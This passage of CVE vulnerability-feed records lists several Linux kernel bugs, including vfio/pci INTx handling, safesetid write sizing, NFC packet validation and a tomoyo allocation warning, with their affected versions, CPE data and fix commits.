          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.6"
            },
            {
              "lessThan": "3.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: Create persistent INTx handler\n\nA vulnerability exists where the eventfd for INTx signaling can be\ndeconfigured, which unregisters the IRQ handler but still allows\neventfds to be signaled with a NULL context through the SET_IRQS ioctl\nor through unmask irqfd if the device interrupt is pending.\n\nIdeally this could be solved with some additional locking; the igate\nmutex serializes the ioctl and config space accesses, and the interrupt\nhandler is unregistered relative to the trigger, but the irqfd path\nruns asynchronous to those.  The igate mutex cannot be acquired from the\natomic context of the eventfd wake function.  Disabling the irqfd\nrelative to the eventfd registration is potentially incompatible with\nexisting userspace.\n\nAs a result, the solution implemented here moves configuration of the\nINTx interrupt handler to track the lifetime of the INTx context object\nand irq_type configuration, rather than registration of a particular\ntrigger eventfd.  Synchronization is added between the ioctl path and\neventfd_signal() wrapper such that the eventfd trigger can be\ndynamically updated relative to in-flight interrupts or irqfd callbacks."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:04:39.204Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b18fa894d615c8527e15d96b76c7448800e13899"
        },
        {
          "url": "https://git.kernel.org/stable/c/27d40bf72dd9a6600b76ad05859176ea9a1b4897"
        },
        {
          "url": "https://git.kernel.org/stable/c/4cb0d7532126d23145329826c38054b4e9a05e7c"
        },
        {
          "url": "https://git.kernel.org/stable/c/7d29d4c72c1e196cce6969c98072a272d1a703b3"
        },
        {
          "url": "https://git.kernel.org/stable/c/69276a555c740acfbff13fb5769ee9c92e1c828e"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c089cefe30924fbe20dd1ee92774ea1f5eca834"
        },
        {
          "url": "https://git.kernel.org/stable/c/0e09cf81959d9f12b75ad5c6dd53d237432ed034"
        },
        {
          "url": "https://git.kernel.org/stable/c/18c198c96a815c962adc2b9b77909eec0be7df4d"
        }
      ],
      "title": "vfio/pci: Create persistent INTx handler",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26812",
    "datePublished": "2024-04-05T08:24:42.627Z",
    "dateReserved": "2024-02-19T14:20:24.180Z",
    "dateUpdated": "2026-05-12T11:49:29.134Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58016 (GCVE-0-2024-58016)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:01

Title

safesetid: check size of policy writes

Summary

In the Linux kernel, the following vulnerability has been resolved: safesetid: check size of policy writes syzbot attempts to write a buffer with a large size to a sysfs entry with writes handled by handle_policy_update(), triggering a warning in kmalloc. Check the size specified for write buffers before allocating. [PM: subject tweak]

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/976284b94f2021df0…
https://git.kernel.org/stable/c/ecf6a4a5580979204…
https://git.kernel.org/stable/c/a0dec65f88c8d9290…
https://git.kernel.org/stable/c/96fae5bd158973159…
https://git.kernel.org/stable/c/36b385d0f2b4c0bf4…
https://git.kernel.org/stable/c/c71d35676d46090c8…
https://git.kernel.org/stable/c/f09ff307c7299392f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: aeca4e2ca65c1aeacfbe520684e6421719d99417 , < 976284b94f2021df09829e37a367e19b84d9e5f3 (git) Affected: aeca4e2ca65c1aeacfbe520684e6421719d99417 , < ecf6a4a558097920447a6fb84dfdb279e2ac749a (git) Affected: aeca4e2ca65c1aeacfbe520684e6421719d99417 , < a0dec65f88c8d9290dfa1d2ca1e897abe54c5881 (git) Affected: aeca4e2ca65c1aeacfbe520684e6421719d99417 , < 96fae5bd1589731592d30b3953a90a77ef3928a6 (git) Affected: aeca4e2ca65c1aeacfbe520684e6421719d99417 , < 36b385d0f2b4c0bf41d491e19075ecd990d2bf94 (git) Affected: aeca4e2ca65c1aeacfbe520684e6421719d99417 , < c71d35676d46090c891b6419f253fb92a1a9f4eb (git) Affected: aeca4e2ca65c1aeacfbe520684e6421719d99417 , < f09ff307c7299392f1c88f763299e24bc99811c7 (git)
Linux	Linux	Affected: 5.1 Unaffected: 0 , < 5.1 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:33.927Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:53.602Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "security/safesetid/securityfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "976284b94f2021df09829e37a367e19b84d9e5f3",
              "status": "affected",
              "version": "aeca4e2ca65c1aeacfbe520684e6421719d99417",
              "versionType": "git"
            },
            {
              "lessThan": "ecf6a4a558097920447a6fb84dfdb279e2ac749a",
              "status": "affected",
              "version": "aeca4e2ca65c1aeacfbe520684e6421719d99417",
              "versionType": "git"
            },
            {
              "lessThan": "a0dec65f88c8d9290dfa1d2ca1e897abe54c5881",
              "status": "affected",
              "version": "aeca4e2ca65c1aeacfbe520684e6421719d99417",
              "versionType": "git"
            },
            {
              "lessThan": "96fae5bd1589731592d30b3953a90a77ef3928a6",
              "status": "affected",
              "version": "aeca4e2ca65c1aeacfbe520684e6421719d99417",
              "versionType": "git"
            },
            {
              "lessThan": "36b385d0f2b4c0bf41d491e19075ecd990d2bf94",
              "status": "affected",
              "version": "aeca4e2ca65c1aeacfbe520684e6421719d99417",
              "versionType": "git"
            },
            {
              "lessThan": "c71d35676d46090c891b6419f253fb92a1a9f4eb",
              "status": "affected",
              "version": "aeca4e2ca65c1aeacfbe520684e6421719d99417",
              "versionType": "git"
            },
            {
              "lessThan": "f09ff307c7299392f1c88f763299e24bc99811c7",
              "status": "affected",
              "version": "aeca4e2ca65c1aeacfbe520684e6421719d99417",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "security/safesetid/securityfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.1"
            },
            {
              "lessThan": "5.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsafesetid: check size of policy writes\n\nsyzbot attempts to write a buffer with a large size to a sysfs entry\nwith writes handled by handle_policy_update(), triggering a warning\nin kmalloc.\n\nCheck the size specified for write buffers before allocating.\n\n[PM: subject tweak]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:10.192Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/976284b94f2021df09829e37a367e19b84d9e5f3"
        },
        {
          "url": "https://git.kernel.org/stable/c/ecf6a4a558097920447a6fb84dfdb279e2ac749a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a0dec65f88c8d9290dfa1d2ca1e897abe54c5881"
        },
        {
          "url": "https://git.kernel.org/stable/c/96fae5bd1589731592d30b3953a90a77ef3928a6"
        },
        {
          "url": "https://git.kernel.org/stable/c/36b385d0f2b4c0bf41d491e19075ecd990d2bf94"
        },
        {
          "url": "https://git.kernel.org/stable/c/c71d35676d46090c891b6419f253fb92a1a9f4eb"
        },
        {
          "url": "https://git.kernel.org/stable/c/f09ff307c7299392f1c88f763299e24bc99811c7"
        }
      ],
      "title": "safesetid: check size of policy writes",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58016",
    "datePublished": "2025-02-27T02:12:08.547Z",
    "dateReserved": "2025-02-27T02:10:48.228Z",
    "dateUpdated": "2026-05-12T12:01:53.602Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38381 (GCVE-0-2024-38381)

Vulnerability from cvelistv5 – Published: 2024-06-21 10:18 – Updated: 2026-05-12 11:54

Title

nfc: nci: Fix uninit-value in nci_rx_work

Summary

In the Linux kernel, the following vulnerability has been resolved: nfc: nci: Fix uninit-value in nci_rx_work syzbot reported the following uninit-value access issue [1] nci_rx_work() parses received packet from ndev->rx_q. It should be validated header size, payload size and total packet size before processing the packet. If an invalid packet is detected, it should be silently discarded.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/406cfac9debd4a6d3…
https://git.kernel.org/stable/c/485ded868ed62ceb2…
https://git.kernel.org/stable/c/f80b786ab0550d002…
https://git.kernel.org/stable/c/ad4d196d2008c7f41…
https://git.kernel.org/stable/c/e8c8e0d0d214c877f…
https://git.kernel.org/stable/c/e53a7f8afcbd2886f…
https://git.kernel.org/stable/c/017ff397624930fd7…
https://git.kernel.org/stable/c/e4a87abf588536d1c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 11387b2effbb55f58dc2111ef4b4b896f2756240 , < 406cfac9debd4a6d3dc5d9258ee086372a8c08b6 (git) Affected: 03fe259649a551d336a7f20919b641ea100e3fff , < 485ded868ed62ceb2acb3a459d7843fd71472619 (git) Affected: 755e53bbc61bc1aff90eafa64c8c2464fd3dfa3c , < f80b786ab0550d0020191a59077b2c7e069db2d1 (git) Affected: ac68d9fa09e410fa3ed20fb721d56aa558695e16 , < ad4d196d2008c7f413167f0a693feb4f0439d7fe (git) Affected: b51ec7fc9f877ef869c01d3ea6f18f6a64e831a7 , < e8c8e0d0d214c877fbad555df5b3ed558cd9b0c3 (git) Affected: a946ebee45b09294c8b0b0e77410b763c4d2817a , < e53a7f8afcbd2886f2a94c5d56757328109730ea (git) Affected: d24b03535e5eb82e025219c2f632b485409c898f , < 017ff397624930fd7ac7f1761f3c9d6a7100f68c (git) Affected: d24b03535e5eb82e025219c2f632b485409c898f , < e4a87abf588536d1cdfb128595e6e680af5cf3ed (git) Affected: 8948e30de81faee87eeee01ef42a1f6008f5a83a (git)
Linux	Linux	Affected: 6.9 Unaffected: 0 , < 6.9 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:21.599Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/406cfac9debd4a6d3dc5d9258ee086372a8c08b6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/485ded868ed62ceb2acb3a459d7843fd71472619"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f80b786ab0550d0020191a59077b2c7e069db2d1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ad4d196d2008c7f413167f0a693feb4f0439d7fe"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e8c8e0d0d214c877fbad555df5b3ed558cd9b0c3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e53a7f8afcbd2886f2a94c5d56757328109730ea"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/017ff397624930fd7ac7f1761f3c9d6a7100f68c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e4a87abf588536d1cdfb128595e6e680af5cf3ed"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38381",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:09:25.051432Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:45.388Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:54:33.657Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/nfc/nci/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "406cfac9debd4a6d3dc5d9258ee086372a8c08b6",
              "status": "affected",
              "version": "11387b2effbb55f58dc2111ef4b4b896f2756240",
              "versionType": "git"
            },
            {
              "lessThan": "485ded868ed62ceb2acb3a459d7843fd71472619",
              "status": "affected",
              "version": "03fe259649a551d336a7f20919b641ea100e3fff",
              "versionType": "git"
            },
            {
              "lessThan": "f80b786ab0550d0020191a59077b2c7e069db2d1",
              "status": "affected",
              "version": "755e53bbc61bc1aff90eafa64c8c2464fd3dfa3c",
              "versionType": "git"
            },
            {
              "lessThan": "ad4d196d2008c7f413167f0a693feb4f0439d7fe",
              "status": "affected",
              "version": "ac68d9fa09e410fa3ed20fb721d56aa558695e16",
              "versionType": "git"
            },
            {
              "lessThan": "e8c8e0d0d214c877fbad555df5b3ed558cd9b0c3",
              "status": "affected",
              "version": "b51ec7fc9f877ef869c01d3ea6f18f6a64e831a7",
              "versionType": "git"
            },
            {
              "lessThan": "e53a7f8afcbd2886f2a94c5d56757328109730ea",
              "status": "affected",
              "version": "a946ebee45b09294c8b0b0e77410b763c4d2817a",
              "versionType": "git"
            },
            {
              "lessThan": "017ff397624930fd7ac7f1761f3c9d6a7100f68c",
              "status": "affected",
              "version": "d24b03535e5eb82e025219c2f632b485409c898f",
              "versionType": "git"
            },
            {
              "lessThan": "e4a87abf588536d1cdfb128595e6e680af5cf3ed",
              "status": "affected",
              "version": "d24b03535e5eb82e025219c2f632b485409c898f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "8948e30de81faee87eeee01ef42a1f6008f5a83a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/nfc/nci/core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.9"
            },
            {
              "lessThan": "6.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.19.312",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "5.4.274",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.10.215",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.15.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "6.1.85",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "6.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.8.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: nci: Fix uninit-value in nci_rx_work\n\nsyzbot reported the following uninit-value access issue [1]\n\nnci_rx_work() parses received packet from ndev-\u003erx_q. It should be\nvalidated header size, payload size and total packet size before\nprocessing the packet. If an invalid packet is detected, it should be\nsilently discarded."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:18:30.735Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/406cfac9debd4a6d3dc5d9258ee086372a8c08b6"
        },
        {
          "url": "https://git.kernel.org/stable/c/485ded868ed62ceb2acb3a459d7843fd71472619"
        },
        {
          "url": "https://git.kernel.org/stable/c/f80b786ab0550d0020191a59077b2c7e069db2d1"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad4d196d2008c7f413167f0a693feb4f0439d7fe"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8c8e0d0d214c877fbad555df5b3ed558cd9b0c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/e53a7f8afcbd2886f2a94c5d56757328109730ea"
        },
        {
          "url": "https://git.kernel.org/stable/c/017ff397624930fd7ac7f1761f3c9d6a7100f68c"
        },
        {
          "url": "https://git.kernel.org/stable/c/e4a87abf588536d1cdfb128595e6e680af5cf3ed"
        }
      ],
      "title": "nfc: nci: Fix uninit-value in nci_rx_work",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38381",
    "datePublished": "2024-06-21T10:18:12.302Z",
    "dateReserved": "2024-06-21T10:12:11.547Z",
    "dateUpdated": "2026-05-12T11:54:33.657Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58085 (GCVE-0-2024-58085)

Vulnerability from cvelistv5 – Published: 2025-03-06 16:22 – Updated: 2026-05-12 12:02

Title

tomoyo: don't emit warning in tomoyo_write_control()

Summary

In the Linux kernel, the following vulnerability has been resolved: tomoyo: don't emit warning in tomoyo_write_control() syzbot is reporting too large allocation warning at tomoyo_write_control(), for one can write a very very long line without new line character. To fix this warning, I use __GFP_NOWARN rather than checking for KMALLOC_MAX_SIZE, for practically a valid line should be always shorter than 32KB where the "too small to fail" memory-allocation rule applies. One might try to write a valid line that is longer than 32KB, but such request will likely fail with -ENOMEM. Therefore, I feel that separately returning -EINVAL when a line is longer than KMALLOC_MAX_SIZE is redundant. There is no need to distinguish over-32KB and over-KMALLOC_MAX_SIZE.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/c67efabddc73171c7…
https://git.kernel.org/stable/c/f6b37b3e12de63875…
https://git.kernel.org/stable/c/b2bd5857a0d6973eb…
https://git.kernel.org/stable/c/a01c200fa7eb59da4…
https://git.kernel.org/stable/c/fe1c021eb03dae0dc…
https://git.kernel.org/stable/c/c9382f380e8d09209…
https://git.kernel.org/stable/c/414705c0303350d13…
https://git.kernel.org/stable/c/3df7546fc03b8f004…

Impacted products

2 products

Vendor	Product	Version
